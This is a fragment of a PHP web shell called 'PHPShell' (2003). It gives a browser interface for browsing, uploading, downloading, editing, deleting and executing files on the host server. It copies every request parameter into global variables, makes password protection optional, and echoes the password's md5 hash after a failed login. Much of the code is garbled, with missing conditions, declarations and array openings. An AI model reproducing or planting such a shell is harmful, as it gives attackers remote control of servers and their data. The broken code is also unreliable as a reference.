<?php
$SFileName=$PHP_SELF; /*I added this to ensure the script will run correctly...
Please enter the Script's filename in this variable.*
/* uncomment the two following variables if you want to use http
authentication. This will password protect your PHPShell */
function walkArray($array){
while (list($key, $data) = each($array)) { walkArray($data);
}
else {
global $$key;
$$key = $data;
}
}
}
if (isset($_PUT)) walkArray
($_PUT); if (isset($_GET)) walkArray
($_GET); if (isset($_POST)) walkArray
($_POST);
$isGoodver=(intval($PHPVer[0])>=4); $scriptTitle = "PHPShell";
$scriptident = "$scriptTitle by Macker";
$Pmax = 50; /* Identifies the max amount of Directories and files listed on one page */
$Pidx = 0;
$scriptdate = "30 march 2003";
$scriptver = "Version 2.6.3dev";
$LOCAL_IMAGE_DIR = "img";
$REMOTE_IMAGE_URL = "img";
"Edit" => "edit.JPG",
"Download" => "download.JPG",
"Upload" => "upload.JPG",
"Delete" => "delete.JPG",
"View" => "view.JPG",
"Rename" => "rename.JPG",
"Move" => "move.JPG",
"Copy" => "copy.JPG",
"Execute" => "exec.JPG"
);
$img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
else
$img[$id] = "[$id]";
/* HTTP AUTHENTICATION */
if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || md5($PHP_AUTH_PW) != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) { Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\""); Header( "HTTP/1.0 401 Unauthorized"); echo "Your username or password is incorrect";
echo "\n\n" . md5($PHP_AUTH_PW);
}
function spacetonbsp
($instr) { return str_replace(" ", " ", $instr); }
function Mydeldir($Fdir) {
if (($Fbuf != ".") && ($Fbuf != ".."))
Mydeldir("$Fdir/$Fbuf");
} else {
}
}
function formatsize($insize) {
$size = $insize;
$add = "B";
if ($size > 1024) {
$add = "KB";
}
if ($size > 1024) {
$add = "MB";
}
if ($size > 1024) {
$add = "GB";
}
if ($size > 1024) {
$add = "TB";
}
return "$size $add";
}
if ($cmd != "downl") {
?>
<!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> -->
<HTML>
<HEAD>
<STYLE>
<!--
A{ text-decoration:none; color:navy; font-size: 12px }
body { font-size: 12px;
background-image: url(img/repeat.bmp);
scrollbar-width: 5;
scrollbar-face-color: silver;
scrollbar-shadow-color: gray;
scrollbar-highlight-color: white;
scrollbar-3dlight-color:black;
scrollbar-darkshadow-color: black;
scrollbar-track-color:#dddddd;
scrollbar-arrow-color: black;
}
Table { font-size: 12px; }
TR{ font-size: 12px; }
TD{ font-size: 12px; BORDER-LEFT: black 0px solid; BORDER-RIGHT: black 0px solid; BORDER-TOP: black 0px solid; BORDER-BOTTOM: black 0px solid; COLOR: black; }
.border{ BORDER-LEFT: black 1px solid;
BORDER-RIGHT: black 1px solid;
BORDER-TOP: black 1px solid;
BORDER-BOTTOM: black 1px solid;
}
.none { BORDER-LEFT: black 0px solid;
BORDER-RIGHT: black 0px solid;
BORDER-TOP: black 0px solid;
BORDER-BOTTOM: black 0px solid;
}
.inputtext {
background-color: #EFEFEF;
border: 1px solid #000000;
height: 20;
}
.inputbutton {
background-color: silver;
border: 1px solid #000000;
border-width: 1px;
height: 20;
}
.white {
background-color: #FFFFFF;
}
.inputtextarea {
background-color: #EFEFEF;
border: 1px solid #000000;
scrollbar-width: 5;
scrollbar-height: 5;
scrollbar-face-color: #EFEFEF;
scrollbar-shadow-color: silver;
scrollbar-highlight-color: #EFEFEF;
scrollbar-3dlight-color:silver;
scrollbar-darkshadow-color: silver;
scrollbar-track-color: #EFEFEF;
scrollbar-arrow-color: black;
}
.top { BORDER-TOP: black 1px solid; }
.textin { BORDER-LEFT: silver 1px solid;
BORDER-RIGHT: silver 1px solid;
BORDER-TOP: silver 1px solid;
BORDER-BOTTOM: silver 1px solid;
width: 99%; font-size: 12px; font-weight: bold; color: navy;
}
.notop { BORDER-TOP: black 0px solid; }
.bottom { BORDER-BOTTOM: black 1px solid; }
.nobottom { BORDER-BOTTOM: black 0px solid; }
.left { BORDER-LEFT: black 1px solid; }
.noleft { BORDER-LEFT: black 0px solid; }
.right { BORDER-RIGHT: black 1px solid; }
.noright { BORDER-RIGHT: black 0px solid; }
.silver{ BACKGROUND: silver; }
-->
</STYLE>
<TITLE><?php echo $SFileName ?></TITLE>
</HEAD>
<body bottommargin="0" rightmargin="0" topmargin="0" leftmargin="0">
<table width=100% height="100%" NOWRAP border="0">
<tr NOWRAP>
<td width="100%" NOWRAP>
<table NOWRAP width=100% height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="100%" height="15" class="silver border">
<center>
<strong>
<font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font>
</strong>
</center>
</td>
</tr>
<tr><td valign="middle"><br>
<?php
}
if ( $cmd=="dir" ) {
if ($h == false) {
echo "<br><font color=\"red\"> \n\n\n\n
COULD NOT OPEN THIS DIRECTORY!!!<br> \n
THE SCRIPT WILL RESULT IN AN ERROR!!!
<br><br> \n
PLEASE MAKE SURE YOU'VE GOT READ PERMISSIONS TO THE DIR...
<br><br></font>\n\n\n\n";
}
}
else {
$partdir = $dir;
}
if (strlen($partdir) >= 100) { $partdir = substr($partdir, -100); $partdir = "<-- ...".substr($partdir, $pos); }
}
?>